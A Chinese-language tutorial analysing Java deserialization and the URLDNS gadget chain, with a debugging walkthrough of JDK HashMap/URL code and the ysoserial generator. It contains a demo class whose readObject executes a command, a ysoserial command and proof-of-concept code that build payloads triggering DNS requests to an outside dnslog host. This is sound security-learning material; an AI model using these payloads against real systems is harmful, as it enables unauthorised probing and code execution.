URLDNS分析

• 学习了很久的Java基础，也看了很多的Java反序列化分析，现在也来分析学习哈最基础的URLDNS反序列化吧。

Java反序列化基础

• 为了方便数据的存储，于是乎有了现在的Java序列化于反序列化。序列化就是将Java对象存储到一个文件，反序列化则是读取序列化生产的文件，还原Java对象，常见的基础反序列化。
• 首先类需要实现Serializable这个接口，虽然这个接口里面没有东西，但是不实现这个接口则无法序列化。用transient 关键字修饰的属性除外，不参与序列化过程。
• ObjectOutputStream.writeObject()序列化对象。
• ObjectInputStream.readObject()读取我们的对象，这里也是我们反序列化的利用点。

// SerializeAndUnserialize.java
package JavaSecurity.URLDNS;

import java.io.*;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class SerializeAndUnSerialize{
    public static void main(String[] args) throws Exception{
//        正常反序列化
        serializeToFile("User.ser");
        unSerializeToObject("User.ser");
//        恶意反序列化
        evilObject("Evil.ser");
    }

    public static void serializeToFile(String file) throws IOException{
        User user = new User("Pan3a");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
        objectOutputStream.writeObject(user);
        objectOutputStream.flush();
        objectOutputStream.close();
    }

    public static void unSerializeToObject(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
        User user = (User)objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(user.getName());
        user.setName("Forever404");
        System.out.println(user.getName());
    }

    public static void evilObject(String file) throws Exception{
        Evil evil = new Evil();
        evil.command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
        objectOutputStream.writeObject(evil);
        objectOutputStream.flush();
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

class User implements Serializable{
    private String name;

    public User(String name){
        this.name = name;
    }

    public String getName(){
        return this.name;
    }

    public void setName(String name){
        this.name = name;
    }

    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {
        objectOutputStream.defaultWriteObject();
        objectOutputStream.writeObject("Hello, This is writeObject!!");
    }

    private void readObject(ObjectInputStream objectInputStream) throws IOException,ClassNotFoundException{
        objectInputStream.defaultReadObject();
        String message = (String) objectInputStream.readObject();
        System.out.println(message);
    }
}

class Evil implements Serializable{
    public String command;

    private void readObject(ObjectInputStream objectInputStream) throws IOException,ClassNotFoundException{
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec(command);
    }
}

• 输出

Hello, This is writeObject!!
Pan3a
Forever404

• 这里序列化生成的数据。

• 分析Evil类，这里控制了该类的readObject方法，那么则可能造成漏洞。

# Ysoserial

• ysoserial是一个Java反序列化漏洞利用工具，通常用于检测是否存在Java反序列化漏洞。
• https://github.com/frohoff/ysoserial
• 这里可以将其克隆下来再将其打包成jar文件即可，然后会在生成一个target目录，里面就有生成的jar。

mvn clean package -DskipTests

## 生成payload

• http://www.dnslog.cn/
• 获取一个DNS。

• 生成我们的payload。
• java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "[http://0ehcf6.dnslog.cn"](http://0ehcf6.dnslog.cn") > ~/Temp/URLDNS.ser

## 编写漏洞代码

// URLDNSYsoSerialTest
package JavaSecurity.URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class URLDNSYsoSerialTest {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        FileInputStream inputStream = new FileInputStream("/Users/pan3a/Temp/URLDNS.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
    }
}

• DNS获取到请求记录。

# URLDNS

• URLDNS，它的功能正如其名发起DNS请求，因此无法回显，只能检测Java反序列化漏洞，构造好测试代码，然后开始调试。

package JavaSecurity.URLDNS;

import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;
import java.io.ObjectOutputStream;

public class URLDNSPoc {
    public static void main(String[] args) throws Exception{
        urlDns();
        unSerializeToObject("urlDns.ser");
//        addressGetByName();
    }

    public static void urlDns() throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();

        URL url = new URL("https://pjm4n7.dnslog.cn");
        Class<? > clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        hashMap.put(url, "Pan3a");
        field.set(url, -1);
        serializeToFile("urlDns.ser", hashMap);
    }

    public static void serializeToFile(String file,Object object) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
        objectOutputStream.writeObject(object);
    }

    public static void unSerializeToObject(String file) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
        objectInputStream.readObject();
    }

//   最后发现是由getByName函数发起DNS请求，测试证明。
    public static void addressGetByName() throws Exception{
        URL url = new URL("https://pjm4n7.dnslog.cn");
        String host = url.getHost();
        InetAddress addr = InetAddress.getByName(host);
        String domainName = addr.getHostName();//获得主机名
        String IPName = addr.getHostAddress();//获得IP地址
        System.out.println("hostname:" + domainName);
        System.out.println("IPName:" + IPName);
    }
}

• 由于知道网上的利用链（Gatget Chain）是在HashMap的readObject方法触发的，因此我们直接在HashMap的readObject方法处下断点位置下断点即可，有些可能因为IDEA默认配置有个黑名单调试时不进入某些类，我们直接取消该选项。（因个人喜而异，能调试都可以。）

• 在HashMap类的1367行进入了调试模式，接下来继续向下跟。

```java

private void readObject(java.io.ObjectInputStream s)

throws IOException, ClassNotFoundException {

// Read in the threshold (ignored), loadfactor, and any hidden stuff

s.defaultReadObject();

reinitialize();

if (loadFactor <= 0 || Float.isNaN(loadFactor))

throw new InvalidObjectException("Illegal load factor: " +

loadFactor);

s.readInt(); // Read and ignore number of buckets

int mappings = s.readInt(); // Read number of mappings (size)

if (mappings < 0)

throw new InvalidObjectException("Illegal mappings count: " +

mappings);

else if (mappings > 0) { // (if zero, use defaults)

// Size the table using given load factor only if within

// range of 0.25...4.0

float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);

float fc = (float)mappings / lf + 1.0f;

int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?

DEFAULT_INITIAL_CAPACITY :

(fc >= MAXIMUM_CAPACITY) ?

MAXIMUM_CAPACITY :

tableSizeFor((int)fc));

float ft = (float)cap * lf;

threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?

(int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

- 这里一直向下跟进直到`36`行的一个`for`循环发现这里有`readObject`方法，我们传入的`key`又是`java.net.URL`对象，继续向下走然后到`41`行的的`putVal`方法，再继续跟进`hash`方法。

![image.png](https://cdn.nlark.com/yuque/0/2021/png/23035803/1637599470741-be8e664a-8981-4bdd-948a-70dee5cbd45d.png)
- 跟进`hash`方法后，因为`key`不为空，发现里面的`hashCode`方法，那么继续跟进。
```java
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

• 这里是java.net.URL对象，因此跟进到URL.java的898行，当时的hashCode值为-1，因此进入下面的handler的hashCode方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

• handler又是URLStreamHandler的对象，于是乎跟进URLStreamHandler的第350行，这里的参数u则是我们刚才传递的URL对象。

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

• 第10行获取host和port跟进。

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

• InetAddress.getByName则进行一次DNS请求获取，到这里差不多也就结束了。
• gadGet Chain

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

# Ysoseria分析

环境搭建

• 直接用IDEA打开我们克隆下来的项目，由于我有两个Java版本自动把项目配置为JDK14了，因此需要更改JDK版本，打开File->Project Structure。

• 有pom.xml得知我们的主类文件是GeneratePayload.java，运行查看环境是否成功。

• 由于他是命令行获取的参数，因此我们配置当前文件运行参数，或者自己注释获取参数的17-20代码，直接给出传递的参数值，这里就采用配置参数的形式。

## 调试分析

• 这里断点直接放到第9行。

	public static void main(final String[] args) {
		if (args.length != 2) {
			printUsage();
			System.exit(USAGE_CODE);
		}
		final String payloadType = args[0];
		final String command = args[1];

		final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
		if (payloadClass == null) {
			System.err.println("Invalid payload type '" + payloadType + "'");
			printUsage();
			System.exit(USAGE_CODE);
			return; // make null analysis happy
		}

		try {
			final ObjectPayload payload = payloadClass.newInstance();
			final Object object = payload.getObject(command);
			PrintStream out = System.out;
			Serializer.serialize(object, out);
			ObjectPayload.Utils.releasePayload(payload, object);
		} catch (Throwable e) {
			System.err.println("Error while generating or serializing payload");
			e.printStackTrace();
			System.exit(INTERNAL_ERROR_CODE);
		}
		System.exit(0);
	}

• 来到Utils.getPayloadClass，这里是payloadType则是我们第攻击模块，这里传递的是URLDNS。

       public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
            Class<? extends ObjectPayload> clazz = null;
            try {
                clazz = (Class<? extends ObjectPayload>) Class.forName(className);
            }
            catch ( Exception e1 ) {}
            if ( clazz == null ) {
                try {
                    return clazz = (Class<? extends ObjectPayload>) Class
                            .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
                }
                catch ( Exception e2 ) {}
            }
            if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
                clazz = null;
            }
            return clazz;
        }

• 这里就是利用反射来获取我们需要的类，因为是forName因此需要全限定类名，然后返回获取的类，因为可以获取到URLDNS类payloadClass则不为空，进入try代码块。

try {
			final ObjectPayload payload = payloadClass.newInstance();
			final Object object = payload.getObject(command);
			PrintStream out = System.out;
			Serializer.serialize(object, out);
			ObjectPayload.Utils.releasePayload(payload, object);
		}

• 将URLDNS类通过反序列化的方式进行初始化，然后进入getObject方法。

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

• 这里又实例化了SilentURLStreamHandler()，继续向下跟进。

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

• 这里继承了URLStreamHandler，重写了下面两个方法，其中让getHostAddress为空，因此不会触发InetAddress.getByName从而没有DNS请求，对比哈原生URLStreamHandler类。

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

• 接下来就是基础的通过反射使URL对象的hashCode值为-1，然后返回对象。再调用Serializer.serialize(object, out)对我们的hashMap对象进行序列化操作。

	public static void serialize(final Object obj, final OutputStream out) throws IOException {
		final ObjectOutputStream objOut = new ObjectOutputStream(out);
		objOut.writeObject(obj);
	}

• 这里就正常序列化然后调用输出流，ObjectPayload.Utils.releasePayload则是判断URLDNS是否为ReleaseableObjectPayload的一个子类，这个类是是一个接口，定义了一个release方法，然后就结束了，退出程序。